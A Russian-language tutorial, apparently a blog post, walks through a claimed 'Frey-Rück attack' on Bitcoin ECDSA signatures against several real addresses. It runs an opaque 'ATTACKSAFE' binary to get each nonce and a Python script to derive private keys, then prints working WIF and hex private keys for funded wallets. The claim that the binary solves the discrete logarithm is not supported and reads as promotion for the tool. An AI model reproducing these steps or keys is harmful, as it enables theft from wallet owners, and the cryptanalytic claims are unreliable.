![](https://habrastorage.org/getpro/habr/upload_files/ffb/73e/cca/ffb73ecca0b43641258bcc505bc3b9f4.png)
В этой статье мы реализуем эффективный алгоритм Frey-Rück Attack для подписи ECDSA
в транзакции блокчейна Биткоина. В наших более ранних публикациях мы несколько раз затрагивали тему уязвимости подписи ECDSA
. При критической уязвимости транзакции блокчейна Биткоина мы можем решить довольно сложную задачу дискретного логарифмирования для извлечение из уязвимой подписи ECDSA
секретный ключ "K" (NONCE)
, чтобы в конечном итоге восстановить Биткоин Кошелек, так как зная секретный ключ мы можем получить приватный ключ.
Для этого существуют несколько алгоритмов из списка популярных атак на Биткоин, один из которых “Frey-Rück Attack on Bitcoin”.
![www.attacksafe.ru/frey-ruck-attack-on-bitcoin www.attacksafe.ru/frey-ruck-attack-on-bitcoin](https://habrastorage.org/getpro/habr/upload_files/f64/d88/87e/f64d8887e5f0123a32778e5bb6b46ade.png)
Мы не будем погружаться в теоретические аспекты данной атаки перейдем сразу к экспериментальной части
Из нашей практики нам известно что в блокчейне Биткоина очень много уязвимых и слабых транзакции и в процессе нашего криптоанализа мы нашли множество Биткоин Адресов, где большое количество подписи ECDSA
были совершены с раскрытием секретного ключа "K" (NONCE).
Рассмотрим пять Биткоин Адресов:
16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
Каждый Биткоин Адрес совершил по две критический уязвимые транзакции:
16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
https://btc.exan.tech/tx/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72
https://btc.exan.tech/tx/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128
![](https://habrastorage.org/getpro/habr/upload_files/39b/857/851/39b85785103c695ea2f4572a636caf71.png)
![](https://habrastorage.org/getpro/habr/upload_files/e75/6e5/b18/e756e5b18a251974534933c7b15ee71a.png)
1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
https://btc.exan.tech/tx/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb
https://btc.exan.tech/tx/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393
![](https://habrastorage.org/getpro/habr/upload_files/516/572/31d/51657231d966d7e13332297aee45cd34.png)
![](https://habrastorage.org/getpro/habr/upload_files/450/de4/4d6/450de44d6e885150d0b17ac1c2f81018.png)
16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
https://btc.exan.tech/tx/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4
https://btc.exan.tech/tx/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6
![](https://habrastorage.org/getpro/habr/upload_files/70c/244/f8c/70c244f8c1de365e3ef7133a7e1bee19.png)
![](https://habrastorage.org/getpro/habr/upload_files/ff4/8db/4b1/ff48db4b1720900d864872a143cf4e4e.png)
12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
https://btc.exan.tech/tx/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542
https://btc.exan.tech/tx/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af
![](https://habrastorage.org/getpro/habr/upload_files/752/0f2/68a/7520f268ae227ecc62cce5c2ff0506ac.png)
![](https://habrastorage.org/getpro/habr/upload_files/9c4/d3f/a74/9c4d3fa746a552903ce4bd07f9fabd97.png)
19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
https://btc.exan.tech/tx/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db
https://btc.exan.tech/tx/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea
![](https://habrastorage.org/getpro/habr/upload_files/97e/803/90f/97e80390fb5a23a83288fcce54148556.png)
![](https://habrastorage.org/getpro/habr/upload_files/5e7/0fd/abc/5e70fdabcea54199c1979342c5b77a00.png)
Раскрытие секретного ключа “K” (NONCE) в блокчейне Биткоина
Откроем [TerminalGoogleColab].
Реализуем эффективный алгоритм Frey-Rück Attack с помощью нашей репозитории 14FreyRuckAttack
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/14FreyRuckAttack/
ls
![](https://habrastorage.org/getpro/habr/upload_files/127/37a/34a/12737a34a7ea8f262615c8510270863e.png)
Установим все нужные нам пакеты
![requirements.txt requirements.txt](https://habrastorage.org/getpro/habr/upload_files/6cc/7ff/65e/6cc7ff65eda8487b43d60591a13f0d56.png)
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
pip2 install -r requirements.txt
![](https://habrastorage.org/getpro/habr/upload_files/0d9/527/38e/0d952738efe23b1a91aeb0c3322d02db.png)
![](https://habrastorage.org/getpro/habr/upload_files/226/ea6/a9e/226ea6a9e0a7e985e3e43f497360893e.png)
![](https://habrastorage.org/getpro/habr/upload_files/a91/015/6f1/a910156f1f48682bb9adfbbe9f5d43d9.png)
![](https://habrastorage.org/getpro/habr/upload_files/094/34b/b0d/09434bb0d8811e70373ca2a71956c9ed.png)
Подготовим RawTX для атаки
16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
https://btc.exan.tech/tx/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72
![](https://habrastorage.org/getpro/habr/upload_files/662/51d/76c/66251d76caff72a208fa09b4e8ca9dd8.png)
RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
![](https://habrastorage.org/getpro/habr/upload_files/ec6/b13/714/ec6b137140d5a402d3770477b38976a2.png)
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8
Чтобы реализовать атаку и получить секретный ключ мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE”
![www.attacksafe.ru/software www.attacksafe.ru/software](https://habrastorage.org/getpro/habr/upload_files/102/3e0/01f/1023e001f422b46462f328c712cf1ecd.png)
Права доступа:
chmod +x attacksafe
![](https://habrastorage.org/getpro/habr/upload_files/e10/7bb/f7e/e107bbf7e23644aff9adf739a68b17de.png)
Применение:
./attacksafe -help
![](https://habrastorage.org/getpro/habr/upload_files/33e/141/3c8/33e1413c8e4c37a9836354cd892362c5.png)
-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode
./attacksafe -version
![](https://habrastorage.org/getpro/habr/upload_files/4b1/e8d/9ff/4b1e8d9ff88c7d36cce6f5a4b311e694.png)
"ATTACKSAFE SOFTWARE"
включает в себя все популярные атаки на Биткоин.
Запустим список всех атак:
./attacksafe -list
![](https://habrastorage.org/getpro/habr/upload_files/3cd/414/e24/3cd414e24b55b54bf4b072884e627bd1.png)
![](https://habrastorage.org/getpro/habr/upload_files/e20/5e8/16c/e205e816c8711feffe0529ce24a6917d.png)
далее выберем -tool: frey_ruck_attack
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX
в текстовый документ и сохраним как файл RawTX.txt
0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/df8/640/2d8/df86402d88348a28e28c07935233ee95.png)
Мы запустили данную атаку из -tool frey_ruck_attack
и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/794/d78/fc1/794d78fc109db1ccd28fe88e29c12eca.png)
Deployments ECDSA:
SecretKey = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
Мы видим надпись "Deployments ECDSA"
это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
Сделаем проверку с помощью Python-скрипта point2gen.py
Для этого установим библиотеку эллиптических кривых ECPy:
pip3 install ECPy
![](https://habrastorage.org/getpro/habr/upload_files/59e/6ba/530/59e6ba530bfc1d13d4ae29df6a7bbd7e.png)
Теперь запустим скрипт указав секретный ключ "K" (NONCE)
:
python3 point2gen.py 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
![](https://habrastorage.org/getpro/habr/upload_files/6c9/8ef/538/6c98ef538df7d2725b47c87e241e8977.png)
(0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)
Проверяем координаты точки EC (secp256k1)
с значением сигнатуры R
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
point2gen = (0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)
ВСЕ ВЕРНО!
K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotientx, x
y, lasty = lasty - quotienty, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8
print (h((((S * K) - Z) * modinv(R,N)) % N))
Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
![](https://habrastorage.org/getpro/habr/upload_files/85c/f6b/1d8/85cf6b1d87539626c9805250caecf060.png)
PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766
Откроем bitaddress и проверим:
ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF: KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX: 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766
![](https://habrastorage.org/getpro/habr/upload_files/5f7/ee9/eb7/5f7ee9eb786adecfa3748104c3d6406d.png)
https://www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
Приватный ключ найден!
![www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG](https://habrastorage.org/getpro/habr/upload_files/192/d06/c7d/192d06c7dc174d6adc28d137362621b3.png)
BALANCE: $ 711.37
Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.
При детальном криптоанализе мы также нашли критическую уязвимость и в TXID:
81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128 для этого же Биткоин Адреса
Подготовим RawTX для атаки
16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
https://btc.exan.tech/tx/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128
![](https://habrastorage.org/getpro/habr/upload_files/a52/d37/f21/a52d37f212f832218609cd4cc14280ed.png)
RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
![](https://habrastorage.org/getpro/habr/upload_files/276/268/9a9/2762689a9da5067967b232bdb99df6ef.png)
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX
в текстовый документ и сохраним как файл RawTX.txt
01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/c71/971/5aa/c719715aad6e07cde2ed9f3170b3e711.png)
Мы запустили данную атаку из -tool frey_ruck_attack
и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/41c/56e/3a8/41c56e3a838d88d4c034b3c306605f34.png)
Deployments ECDSA:
SecretKey = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
Мы видим надпись "Deployments ECDSA"
это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE)
:
python3 point2gen.py 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
![](https://habrastorage.org/getpro/habr/upload_files/be0/35a/b5a/be035ab5ad4a9ed0bd9692a4dbaa6e39.png)
(0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)
Проверяем координаты точки EC (secp256k1)
с значением сигнатуры R
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
point2gen = (0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)
ВСЕ ВЕРНО!
K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotientx, x
y, lasty = lasty - quotienty, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de
print (h((((S * K) - Z) * modinv(R,N)) % N))
Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
![](https://habrastorage.org/getpro/habr/upload_files/0c0/d3f/85c/0c0d3f85c631f39bcc279540a9b7262e.png)
PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766
Откроем bitaddress и проверим:
ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF: KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX: 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766
![](https://habrastorage.org/getpro/habr/upload_files/c7c/0ee/a0a/c7c0eea0a85b6cd796039b228ad7c1e1.png)
https://www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
Приватный ключ найден!
![www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG](https://habrastorage.org/getpro/habr/upload_files/551/08f/099/55108f099c1e03535dd97c49543d3800.png)
BALANCE: $ 711.37
№2
При детальном криптоанализе мы также нашли критическую уязвимость и в Биткоин Адресе:
1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
https://btc.exan.tech/tx/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb
https://btc.exan.tech/tx/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393
![](https://habrastorage.org/getpro/habr/upload_files/700/a9c/db6/700a9cdb622052aa9913786aa6ed70fa.png)
![](https://habrastorage.org/getpro/habr/upload_files/30b/d87/90f/30bd8790f0263c64f38b1b318c6472d2.png)
Подготовим RawTX для атаки
1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
https://btc.exan.tech/tx/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb
![](https://habrastorage.org/getpro/habr/upload_files/3ae/919/3b4/3ae9193b4b8b5b950212c511aaffa5a9.png)
RawTX = 010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000
Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции
Воспользуемся скриптом breakECDSA.py
python2 breakECDSA.py 010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000
![](https://habrastorage.org/getpro/habr/upload_files/3b0/bfa/9f4/3b0bfa9f4ab231d0e93d4de6e8e15689.png)
R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913
Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7
Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX
в текстовый документ и сохраним как файл RawTX.txt
010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000
Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”
./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/aad/594/1f1/aad5941f1b31eda3a6e8b493e6407eaf.png)
Мы запустили данную атаку из -tool frey_ruck_attack
и результат сохранился в файл SecretKey.txt
Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt
cat SecretKey.txt
![](https://habrastorage.org/getpro/habr/upload_files/bda/92c/e8a/bda92ce8a7a2b7557efb157054c01585.png)
Deployments ECDSA:
SecretKey = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c
RawTX = 010000000128231a6d229f0dbea21477c631fd38d8c87159dc59b917bb822c4f593b5fba8e040000006a47304402203458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d0220445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d091301210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000
Мы видим надпись "Deployments ECDSA"
это означает критическую уязвимость транзакции блокчейна Биткоина
SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):
K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c
Сделаем проверку с помощью Python-скрипта point2gen.py
Воспользуемся библиотекой эллиптических кривых ECPy:
Теперь запустим скрипт указав секретный ключ "K" (NONCE)
:
python3 point2gen.py 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c
![](https://habrastorage.org/getpro/habr/upload_files/83d/ea1/9eb/83dea19eb4ae9edb7be556b6f1a39901.png)
(0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d , 0x8d8650fddf514e1263e18650a0e72c08f20eeb3c34ad0dd13b3792b890d3ca44)
Проверяем координаты точки EC (secp256k1)
с значением сигнатуры R
R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913
Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7
R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
point2gen = (0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d , 0x8d8650fddf514e1263e18650a0e72c08f20eeb3c34ad0dd13b3792b890d3ca44)
ВСЕ ВЕРНО!
K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c
Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ
Откроем код и добавим все значение сигнатур K, R, S, Z
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotientx, x
y, lasty = lasty - quotienty, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c
R = 0x3458a4ca3bd23a0e255b6c6f579019b1ca112d0f0e2fe4b9635423b9fbee204d
S = 0x445065a0df0007cb92c64c775019fb04cfdeb7e5820f61d6b31a52af6e2d0913
Z = 0x8b65d49dde9949e5ea18ae637d7f4f48c7c3b38957892a94a3bab994fec4eee7
print (h((((S * K) - Z) * modinv(R,N)) % N))
Скрипт рассчитает приватный ключ по формуле:
Privkey = ((((S * K) - Z) * modinv(R,N)) % N)
Запустим скрипт:
python3 calculate.py
![](https://habrastorage.org/getpro/habr/upload_files/2a1/e0b/3d4/2a1e0b3d49e543777be6dd30c9746ea6.png)
PrivKey = 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82
Откроем bitaddress и проверим:
ADDR: 1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
WIF: KysupQsbEPB7cEcUwpTpxdCAMTVLa9RjVtSzFZbrRV5pcNe2fk4Q
HEX: 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82
![](https://habrastorage.org/getpro/habr/upload_files/a16/951/59f/a1695159ff960b12b3bb2ff62a4a2bcf.png)
https://www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
Приватный ключ найден!
